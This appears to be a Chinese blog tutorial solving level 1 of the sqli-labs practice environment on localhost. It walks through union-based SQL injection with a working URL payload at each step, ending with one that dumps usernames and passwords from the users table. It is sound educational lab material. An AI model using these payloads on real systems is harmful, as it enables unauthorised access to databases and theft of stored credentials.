SQL注入-sqli-labs-master第一关

实验环境:

Nginx.1.15.11

MySQL:5.7.26

SQL注入-sqli-labs-master第一关_第1张图片

实验步骤:

1.第一步:

                在id=1后加入一个闭合符号',如果报错,再在后面加上 --+ 将后面注释掉,如果不报错,则证明为字符型。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

SQL注入-sqli-labs-master第一关_第2张图片

2.第二步:

                order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

三个字段

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

SQL注入-sqli-labs-master第一关_第3张图片

四个字段 

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

SQL注入-sqli-labs-master第一关_第4张图片

第三步:

                用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

#这里使用联合查询id参数要为假
#显示位位2和3

SQL注入-sqli-labs-master第一关_第5张图片

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+
 

SQL注入-sqli-labs-master第一关_第6张图片

第四步:

                查询我们当前所使用的数据库,为的是后期查询表名。这里查询到的表名为security。 

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

SQL注入-sqli-labs-master第一关_第7张图片

第五步:

                mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
 

SQL注入-sqli-labs-master第一关_第8张图片

第六步:

                现在我们知道了security数据库中的所有表名,我们需要查询password和username,常理下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 

SQL注入-sqli-labs-master第一关_第9张图片 第七步:

                现在我们知道了所用的库为security,所用的表是users,三个字段名分别为id,username,password,那么我们就可以进行最后一步,查询username和password的具体数据

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat( username,id,password) from users --+
 

SQL注入-sqli-labs-master第一关_第10张图片

你可能感兴趣的:(网络安全防御,数据库,网络安全,web安全,nginx,mysql)